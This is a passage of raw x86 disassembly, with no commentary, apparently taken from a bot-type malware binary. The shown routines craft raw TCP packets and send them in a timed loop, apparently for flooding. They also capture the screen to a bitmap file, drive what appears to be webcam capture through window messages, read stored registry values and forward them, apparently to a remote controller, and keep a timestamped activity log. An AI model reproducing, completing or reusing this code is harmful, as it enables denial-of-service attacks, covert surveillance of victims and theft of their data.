0FFFEh push 1 call sub_418E56 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_4154F2 ; --------------------------------------------------------------------------- loc_4154E7: ; CODE XREF: sub_415240+28Bj push offset dword_4D0ED8 call dword_4CDCA4 ; inet_addr loc_4154F2: ; CODE XREF: sub_415240+2A5j mov dword_4D1508, eax mov eax, [ebp+arg_0] push 4000h mov dword_4D150C, eax mov byte_4D151D, bl call dword_4CDC64 ; ntohs push esi push ebx mov word_4D151E, ax call sub_418E56 mov edi, eax push esi push ebx shl edi, 8 call sub_418E56 add esp, 10h add edi, eax push edi call dword_4CDC60 ; ntohl mov dword_4D1514, eax mov al, byte_4D151C mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4D151C, al mov ax, word ptr [ebp+var_C] mov dword_4D1518, ebx mov word_4D1522, bx mov word_4D1512, ax mov dword_4D1538, edi mov byte_4D153C, bl mov byte_4D153D, 6 call dword_4CDC64 ; ntohs mov word_4D153E, ax mov ax, word_4D1512 mov word_4D1524, 2 mov dword_4D1528, edi mov word_4D1526, ax mov [ebp+var_4], ebx jmp short loc_4155A8 ; --------------------------------------------------------------------------- loc_4155A3: ; CODE XREF: sub_415240+438j mov esi, 0FFFFh loc_4155A8: ; CODE XREF: sub_415240+361j cmp [ebp+var_4], ebx push esi push ebx jnz short loc_4155DC call sub_418E56 pop ecx pop ecx push eax call dword_4CDC64 ; ntohs mov word_4D1510, ax mov eax, dword_4D1508 mov dword_4D1534, eax mov byte_4D151D, 2 mov dword_4D1518, ebx jmp short loc_4155F9 ; --------------------------------------------------------------------------- loc_4155DC: ; CODE XREF: sub_415240+36Dj mov byte_4D151D, 10h call sub_418E56 pop ecx pop ecx push eax call dword_4CDC64 ; ntohs movzx eax, ax mov dword_4D1518, eax loc_4155F9: ; CODE XREF: sub_415240+39Aj inc word_4D1500 inc dword_4D1514 mov ax, word_4D1512 push 5 pop ecx mov esi, offset word_4D1510 mov edi, offset dword_4D1540 mov word_4D1506, bx mov word_4D1520, bx push 14h rep movsd mov esi, offset byte_4D14FC mov word_4D1526, ax push esi call sub_40AB6D push 20h push offset dword_4D1534 mov word_4D1506, ax call sub_40AB6D add esp, 10h mov word_4D1520, ax push 10h push offset word_4D1524 push ebx push 28h push esi push dword_4D1558 call dword_4CDCC8 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_4155A3 call dword_4280A8 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4156A3 push [ebp+arg_8] call dword_428064 ; Sleep jmp loc_415467 ; --------------------------------------------------------------------------- loc_4156A3: ; CODE XREF: sub_415240+453j pop edi pop esi mov eax, offset dword_4D1560 pop ebx leave retn sub_415240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156AD proc near ; CODE XREF: sub_401B66+70AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FE18 mov edi, 0B8h loc_4156C1: ; CODE XREF: sub_4156AD+33j cmp byte ptr [esi], 0 jz short loc_4156E4 push [ebp+arg_0] push esi call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_4156E4 inc [ebp+var_4] add esi, edi cmp esi, offset dword_440998 jl short loc_4156C1 jmp short loc_415726 ; --------------------------------------------------------------------------- loc_4156E4: ; CODE XREF: sub_4156AD+17j ; sub_4156AD+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FE18[esi] push ebx call sub_41BD60 push 17h push [ebp+arg_0] push ebx call sub_41BDC0 push 9Fh lea eax, dword_43FE30[esi] push [ebp+arg_4] push eax call sub_41BDC0 add esp, 24h inc dword_42A4A8 pop ebx loc_415726: ; CODE XREF: sub_4156AD+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4156AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41572D proc near ; CODE XREF: sub_401B66+284Bp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_438DF4 push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 14h xor edi, edi mov esi, offset dword_43FE18 loc_415757: ; CODE XREF: sub_41572D+72j cmp byte ptr [esi], 0 jz short loc_415792 lea eax, [esi+18h] push eax push esi push edi push offset dword_438DE0 lea eax, [ebp+var_200] push 200h push eax call sub_41C150 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 add esp, 2Ch loc_415792: ; CODE XREF: sub_41572D+2Dj add esi, 0B8h inc edi cmp esi, offset dword_440998 jl short loc_415757 pop edi pop esi leave retn sub_41572D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157A5 proc near ; CODE XREF: sub_401252+375p ; sub_401252+3F6p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_428130 ; GetLocalTime mov ebx, offset dword_4D5960 mov edi, 80h mov esi, offset dword_4D1960 loc_4157C7: ; CODE XREF: sub_4157A5+3Dj cmp byte ptr [ebx], 0 jz short loc_4157DE push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BDC0 add esp, 0Ch loc_4157DE: ; CODE XREF: sub_4157A5+25j sub ebx, edi cmp ebx, esi jge short loc_4157C7 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C150 add esp, 28h pop edi pop esi pop ebx leave retn sub_4157A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415819 proc near ; CODE XREF: sub_401891+F7p ; sub_401B66:loc_40898Ep ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C960 lea eax, [ebp+var_80] push eax call sub_4157A5 add esp, 14h leave retn sub_415819 endp ; =============== S U B R O U T I N E ======================================= sub_415845 proc near ; CODE XREF: sub_401B66+2743p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4D1960 xor ecx, ecx loc_41584C: ; CODE XREF: sub_415845+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D5960 jl short loc_41584C cmp [esp+arg_C], ecx jnz short loc_41587A push ecx push [esp+4+arg_8] push offset dword_438E40 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409982 add esp, 14h loc_41587A: ; CODE XREF: sub_415845+19j push offset dword_438E2C call sub_4157A5 pop ecx retn sub_415845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415886 proc near ; DATA XREF: sub_401B66+27F6o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_4158D9 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_438E70 push eax push [ebp+var_11C] call sub_409982 add esp, 14h loc_4158D9: ; CODE XREF: sub_415886+33j cmp [ebp+var_98], 0 jz short loc_4158F9 lea eax, [ebp+var_98] push eax call sub_41BF49 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_4158F9 mov [ebp+var_8], eax loc_4158F9: ; CODE XREF: sub_415886+5Aj ; sub_415886+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4D1960 loc_415902: ; CODE XREF: sub_415886+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_41595C cmp byte ptr [esi], 0 jz short loc_41594B cmp [ebp+var_98], 0 jz short loc_415931 cmp [ebp+var_4], 0 jnz short loc_415931 lea eax, [ebp+var_98] push eax push esi call sub_418763 pop ecx test eax, eax pop ecx jz short loc_41594B loc_415931: ; CODE XREF: sub_415886+90j ; sub_415886+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_409982 add esp, 14h loc_41594B: ; CODE XREF: sub_415886+87j ; sub_415886+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4D5960 jl short loc_415902 loc_41595C: ; CODE XREF: sub_415886+82j lea eax, [ebp+var_31C] push offset dword_438E54 push eax call sub_41C056 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415996 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_409982 add esp, 14h loc_415996: ; CODE XREF: sub_415886+EEj lea eax, [ebp+var_31C] push eax call sub_4157A5 push [ebp+var_18] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_415886 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159B5 proc near ; CODE XREF: sub_401B66+71F0p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CDC50 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_415BE9 push 8 push edi call dword_4CDC6C ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4CDC6C ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4CDC6C ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_415A17 push 18h push edi call dword_4CDC6C ; GetDeviceCaps mov ebx, 100h jmp short loc_415A19 ; --------------------------------------------------------------------------- loc_415A17: ; CODE XREF: sub_4159B5+50j xor ebx, ebx loc_415A19: ; CODE XREF: sub_4159B5+60j push edi call dword_4CDCB0 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_415BCE mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CDCA8 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_415BD9 push eax push [ebp+var_4] call dword_4CDB34 ; SelectObject cmp eax, esi jz loc_415BD9 cmp eax, 0FFFFFFFFh jz loc_415BD9 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CDCAC ; BitBlt test eax, eax jz loc_415BD9 cmp ebx, esi jz short loc_415AD6 lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CDB88 ; GetDIBColorTable mov ebx, eax loc_415AD6: ; CODE XREF: sub_4159B5+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_415BB9 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call dword_4280E0 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call dword_4280E0 ; WriteFile cmp ebx, esi jz short loc_415B9B lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call dword_4280E0 ; WriteFile loc_415B9B: ; CODE XREF: sub_4159B5+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call dword_4280E0 ; WriteFile push [ebp+arg_0] call dword_42806C ; CloseHandle xor esi, esi inc esi loc_415BB9: ; CODE XREF: sub_4159B5+1A2j push [ebp+var_1C] call dword_4CDBC0 ; DeleteObject push [ebp+var_4] call dword_4CDB20 ; DeleteDC mov edi, [ebp+var_20] loc_415BCE: ; CODE XREF: sub_4159B5+70j push edi call dword_4CDB20 ; DeleteDC mov eax, esi jmp short loc_415BEB ; --------------------------------------------------------------------------- loc_415BD9: ; CODE XREF: sub_4159B5+C7j ; sub_4159B5+D9j ... push edi call dword_4CDB20 ; DeleteDC push [ebp+var_4] call dword_4CDB20 ; DeleteDC loc_415BE9: ; CODE XREF: sub_4159B5+23j xor eax, eax loc_415BEB: ; CODE XREF: sub_4159B5+222j pop edi pop esi pop ebx leave retn sub_4159B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BF0 proc near ; CODE XREF: sub_401B66+7317p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_4D5960 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CDBB4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415C2E mov eax, esi jmp loc_415DE4 ; --------------------------------------------------------------------------- loc_415C2E: ; CODE XREF: sub_415BF0+35j push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415C4B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CDCC0 ; SendMessageA jmp short loc_415C4D ; --------------------------------------------------------------------------- loc_415C4B: ; CODE XREF: sub_415BF0+47j xor eax, eax loc_415C4D: ; CODE XREF: sub_415BF0+59j cmp eax, ebx jnz short loc_415C58 loc_415C51: ; CODE XREF: sub_415BF0+88j ; sub_415BF0+BCj mov ebx, esi jmp loc_415DD9 ; --------------------------------------------------------------------------- loc_415C58: ; CODE XREF: sub_415BF0+5Fj push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415C75 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CDCC0 ; SendMessageA loc_415C75: ; CODE XREF: sub_415BF0+71j cmp [ebp+var_20], ebx jz short loc_415C51 push edi call dword_4CDC04 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_415C9B push ebx push ebx push edi push [ebp+var_4] call dword_4CDCC0 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_415C9E ; --------------------------------------------------------------------------- loc_415C9B: ; CODE XREF: sub_415BF0+98j mov [ebp+arg_4], ebx loc_415C9E: ; CODE XREF: sub_415BF0+A9j push [ebp+arg_4] call sub_41BCA5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415C51 push [ebp+arg_4] call sub_41BCA5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_415CC5 xor ebx, ebx inc ebx jmp loc_415DD9 ; --------------------------------------------------------------------------- loc_415CC5: ; CODE XREF: sub_415BF0+CBj push [ebp+var_4] call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415CE2 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415CE2: ; CODE XREF: sub_415BF0+E0j push [ebp+arg_4] push [ebp+var_8] push esi call near ptr sub_41CAE0 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415CFD mov ecx, 280h loc_415CFD: ; CODE XREF: sub_415BF0+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415D09 mov eax, 1E0h loc_415D09: ; CODE XREF: sub_415BF0+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CDC04 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_415D53 push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415D53: ; CODE XREF: sub_415BF0+153j push [ebp+var_4] call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415D70 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415D70: ; CODE XREF: sub_415BF0+16Ej push [ebp+var_4] call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415D8F push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415D8F: ; CODE XREF: sub_415BF0+18Bj push [ebp+var_4] call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415DAC push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415DAC: ; CODE XREF: sub_415BF0+1AAj push [ebp+var_8] call sub_41B881 push esi call sub_41B881 pop ecx pop ecx push [ebp+var_4] call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415DD9 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CDCC0 ; SendMessageA loc_415DD9: ; CODE XREF: sub_415BF0+63j ; sub_415BF0+D0j ... push [ebp+var_4] call dword_4CDD14 ; DestroyWindow mov eax, ebx loc_415DE4: ; CODE XREF: sub_415BF0+39j pop edi pop esi pop ebx leave retn sub_415BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DE9 proc near ; CODE XREF: sub_401B66+73D3p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi xor esi, esi push edi inc esi xor ebx, ebx push esi push dword_4D5960 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CDBB4 mov edi, eax cmp edi, ebx jnz short loc_415E27 mov eax, esi jmp loc_416023 ; --------------------------------------------------------------------------- loc_415E27: ; CODE XREF: sub_415DE9+35j push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415E44 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CDCC0 ; SendMessageA jmp short loc_415E46 ; --------------------------------------------------------------------------- loc_415E44: ; CODE XREF: sub_415DE9+47j xor eax, eax loc_415E46: ; CODE XREF: sub_415DE9+59j cmp eax, ebx jnz short loc_415E51 loc_415E4A: ; CODE XREF: sub_415DE9+8Bj ; sub_415DE9+BCj mov ebx, esi jmp loc_41601A ; --------------------------------------------------------------------------- loc_415E51: ; CODE XREF: sub_415DE9+5Fj push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415E71 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CDCC0 ; SendMessageA loc_415E71: ; CODE XREF: sub_415DE9+71j cmp [ebp+var_7C], ebx jz short loc_415E4A push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415E94 push ebx push ebx push 42Ch push edi call dword_4CDCC0 ; SendMessageA mov [ebp+arg_4], eax jmp short loc_415E97 ; --------------------------------------------------------------------------- loc_415E94: ; CODE XREF: sub_415DE9+96j mov [ebp+arg_4], ebx loc_415E97: ; CODE XREF: sub_415DE9+A9j push [ebp+arg_4] call sub_41BCA5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415E4A push [ebp+arg_4] call sub_41BCA5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_415EBE xor ebx, ebx inc ebx jmp loc_41601A ; --------------------------------------------------------------------------- loc_415EBE: ; CODE XREF: sub_415DE9+CBj push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415EDB push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CDCC0 ; SendMessageA loc_415EDB: ; CODE XREF: sub_415DE9+DEj push [ebp+arg_4] push [ebp+var_4] push esi call near ptr sub_41CAE0 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_415EF6 mov ecx, 0A0h loc_415EF6: ; CODE XREF: sub_415DE9+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415F00 push 78h pop eax loc_415F00: ; CODE XREF: sub_415DE9+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415F45 push esi push [ebp+arg_4] push 42Dh push edi call dword_4CDCC0 ; SendMessageA loc_415F45: ; CODE XREF: sub_415DE9+14Aj push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415F62 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CDCC0 ; SendMessageA loc_415F62: ; CODE XREF: sub_415DE9+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415FA0 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CDCC0 ; SendMessageA loc_415FA0: ; CODE XREF: sub_415DE9+1A3j push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415FBB push [ebp+arg_0] push ebx push 414h push edi call dword_4CDCC0 ; SendMessageA loc_415FBB: ; CODE XREF: sub_415DE9+1C0j push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415FD4 push ebx push ebx push 43Eh push edi call dword_4CDCC0 ; SendMessageA loc_415FD4: ; CODE XREF: sub_415DE9+1DBj push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_415FF1 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CDCC0 ; SendMessageA loc_415FF1: ; CODE XREF: sub_415DE9+1F4j push [ebp+var_4] call sub_41B881 push esi call sub_41B881 pop ecx pop ecx push edi call dword_4CDC04 ; IsWindow test eax, eax jz short loc_41601A push ebx push ebx push 40Bh push edi call dword_4CDCC0 ; SendMessageA loc_41601A: ; CODE XREF: sub_415DE9+63j ; sub_415DE9+D0j ... push edi call dword_4CDD14 ; DestroyWindow mov eax, ebx loc_416023: ; CODE XREF: sub_415DE9+39j pop edi pop esi pop ebx leave retn sub_415DE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416028 proc near ; CODE XREF: sub_401B66+2558p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_438EA4, ebx mov [ebp+var_C], 80h jz loc_4161D4 push esi push edi mov eax, offset off_438EA4 mov esi, offset dword_438EB0 mov edi, offset dword_43A0BC loc_416058: ; CODE XREF: sub_416028+1A4j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CDCD4 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CDB64 ; RegQueryValueExA test eax, eax jnz loc_4161BB mov eax, [esi] cmp eax, ebx jz loc_41617F push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_42AB08 push eax call sub_41C056 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41BC92 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_4161BB push eax jmp short loc_4160E8 ; --------------------------------------------------------------------------- loc_4160D3: ; CODE XREF: sub_416028+D0j push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41C0D0 pop ecx test eax, eax pop ecx jz short loc_4160FC push [ebp+var_8] loc_4160E8: ; CODE XREF: sub_416028+A9j lea eax, [ebp+var_70] push 64h push eax call sub_41C31F add esp, 0Ch test eax, eax jnz short loc_4160D3 jmp short loc_416174 ; --------------------------------------------------------------------------- loc_4160FC: ; CODE XREF: sub_416028+BBj push 3Dh push dword ptr [esi+4] call sub_41C780 pop ecx test eax, eax pop ecx lea eax, [ebp+var_70] jz short loc_41613B push offset asc_43A0B8 ; "=" push eax call sub_41C8C4 push offset asc_43A0B8 ; "=" push ebx call sub_41C8C4 push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41C056 add esp, 20h jmp short loc_41614F ; --------------------------------------------------------------------------- loc_41613B: ; CODE XREF: sub_416028+E5j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41C056 add esp, 10h loc_41614F: ; CODE XREF: sub_416028+111j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_2F0] push eax call sub_4157A5 add esp, 18h loc_416174: ; CODE XREF: sub_416028+D2j push [ebp+var_8] call sub_41B82B pop ecx jmp short loc_4161BB ; --------------------------------------------------------------------------- loc_41617F: ; CODE XREF: sub_416028+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41C056 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409982 lea eax, [ebp+var_2F0] push eax call sub_4157A5 add esp, 28h loc_4161BB: ; CODE XREF: sub_416028+60j ; sub_416028+A2j ... push [ebp+var_4] call dword_4CDC40 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], ebx jnz loc_416058 pop edi pop esi loc_4161D4: ; CODE XREF: sub_416028+19j pop ebx leave retn sub_416028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161D7 proc near ; DATA XREF: sub_401B66+984o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_417C50 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop 